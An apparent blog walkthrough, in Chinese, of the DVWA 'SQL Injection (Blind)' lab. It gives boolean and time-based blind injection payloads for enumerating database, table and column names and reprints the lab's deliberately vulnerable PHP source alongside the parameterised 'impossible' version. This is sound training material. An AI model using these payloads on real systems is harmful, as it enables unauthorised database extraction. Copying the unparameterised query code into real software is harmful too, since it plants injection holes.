【DVWA】SQL Injection(Blid)

【DVWA】SQL Injection(Blid)

​ SQL Injection(Blind)即SQL盲注,与一般的SQL注入的区别是盲注时攻击者通常无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要高于一般的注入。并且现在实战基本都是盲注。盲注分为三类:基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注

基本思路:

1、先判断是否存在盲注

2、利用二分法逐个字母的猜解出数据库名

3、猜解数据库的表的数量

4、猜解数据库表名

5、猜解表中字段名

6、猜解数据

一、low级别

1、判断盲注类型

输入1显示User ID exists in the database.

image-20210228171749449

输入'显示User ID is MISSING from the database.

image-20210228171847923

输入1' and 1=1#显示User ID exists in the database.

image-20210228172039624

输入1' and 1=2#显示User ID is MISSING from the database.

image-20210228190619242

不管输入什么总是会回显两种状态,所以可以初步判断这是一个基于布尔类型的SQL注入。

2、猜解数据库名

a~z ascii:97~122

  • 猜解数据库名长度为4 payload:1' and length(database())=4#

  • 二分法猜解数据库名payload:

1’ and ascii(substr(database(),1,1))>109# 回显错误(字母m)

1’ and ascii(substr(database(),1,1))>103# 回显错误(字母g)

1’ and ascii(substr(database(),1,1))>100# 回显错误(字母d)

1’ and ascii(substr(database(),1,1))>98# 回显正确(字母b)

1’ and ascii(substr(database(),1,1))>99# 回显正确(字母c)

1’ and ascii(substr(database(),1,1))=100# 回显正确(字母d)

说明数据库名的第一个字母为d

以此类推剩下的字母分别为v、w、a

于是猜解出数据库名为dvwa

3、猜解表名

  • 猜解表的数量

    知道测试到2,显示正确

    1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#

    所以判断dvwa数据库中表的数量为2

  • 猜解表名

    上一步得出一共有两张表

    然后分别猜解表名

    猜解表名之前,先猜解表名长度:

    1’ and length((select table_name from information_schema.tables where table_schema=database()))=9# 回显正确

    1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5# 回显正确

    由此可知第一张表的表名长度为9,第二个长度为5

    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))>109# 回显错误

    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))>103# 回显错误

    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))=103# 回显正确(字母g)

    所以第一张表的表名的第一个字母为g

    以此类推剩下的字母分别为u, e, s, t, b, o, o, k

    得出第一张表的表名为guestbook

    重复上述过程可得第二张表的表名为users

    tips:要注意将substr()中的查询语句带上括号

3、猜解字段名

  • 猜解字段数量

    1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8# 回显正确

    说明users表中共有8个字段

  • 猜解字段名

    老规矩先猜解第一个字段名的长度,再依次猜解每个字母,其他字段也一样,就不再赘述。

4、猜解字段值

  • 猜解字段值数量

    1' and (select count(user) from users)=5# 回显正确

    说明users字段下有5条数据

  • 猜解字段值

    先猜解第一个字段值的长度,再逐个字母猜解字段值,其他字段值也一样,就不再赘述。

源码分析:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    //这里并没有做参数化和预处理,也没有严格的过滤
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

没有做参数化和预处理,也没有严格的过滤,所以明显的存在SQL注入漏洞,而且只有’User ID exists in the database.'和’User ID is MISSING from the database.'两种返回结果(去掉了or die而且在函数前加入了@抑制了错误的输出),所以是布尔盲注。

二、Medium级别

1、初步测试

post请求类型,用burp抓包

重放id=1

回显:User ID exists in the database

image-20210228212116701

重放 1 and 1=1

回显:User ID exists in the database

image-20210228212545661

重放1 and 1=2

回显:User ID MISSING from the database.

image-20210228212751754

无论输入什么总是输出两种情况,所以可以初步判断为数字型的布尔盲注。

2、猜解数据库名

  • 猜解数据库名长度

    payload:1 and length(select database())=4 回显正确

    说明数据库名长度为4

    image-20210228220349870

  • 猜解数据库名

    前面步骤省略

    1 and ascii(substr(database(),1,1))=100 回显正确(字母d)

    说明第一个字母为d

    依次测出剩下的字母为vwa

    于是得出数据库名为dvwa

    image-20210228221349809

3、猜解数据库表名

4、猜解字段名

5、猜解字段值

步骤与上面相仿,这里不再赘述

源码分析:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//此处使用mysqli_real_escape_string函数将用户输入的特殊字符转义,\x00 \n \r \ ' " \x1a
    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

相比于low级别,只是增加了mysqli_real_escape_string()函数对特殊字符进行转义,比较重要的是单双引号,但我们同样可以绕过,比如用十六进制或函数代替双引号加字符串。

基于时间盲注:

  • 猜解数据库名长度

1 and if(length(database())=1,sleep(5),1)# 无延迟

image-20210228224734723

1 and if(length(database())=4,sleep(5),1)# 有延迟

image-20210228224658249

所以说明数据库名长度为4

  • 猜解数据库名

    1 and if(ascii(substr(database(),1,1))=100,sleep(5),1) 有延迟 (字母d)

    说明数据库名第一个字母为d

    依次类推猜解剩下的字母为vwa

    则数据库名为dvwa

  • 同理可猜解表名、字段名、字段值等

三、high级别

源码分析:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );  //这里用sleep函数扰乱了响应时间的规律,迷惑了基于时间盲注的信号
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

这里用sleep函数扰乱了响应时间的规律,迷惑了基于时间盲注的信号。但是我们可以利用回显不同的两种方式进行基于布尔的盲注,一样可以完成暴库。步骤与上面相仿,这里不在赘述。

四、impossible级别

源码分析:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

impossible采用了PDO技术,对用户的输入做了参数化和预处理,而且只有当sql语句的执行结果为1行时才会输出,有效防止了sql注入和脱裤。

已标记关键词 清除标记
相关推荐
©️2020 CSDN 皮肤主题: 黑客帝国 设计师:白松林 返回首页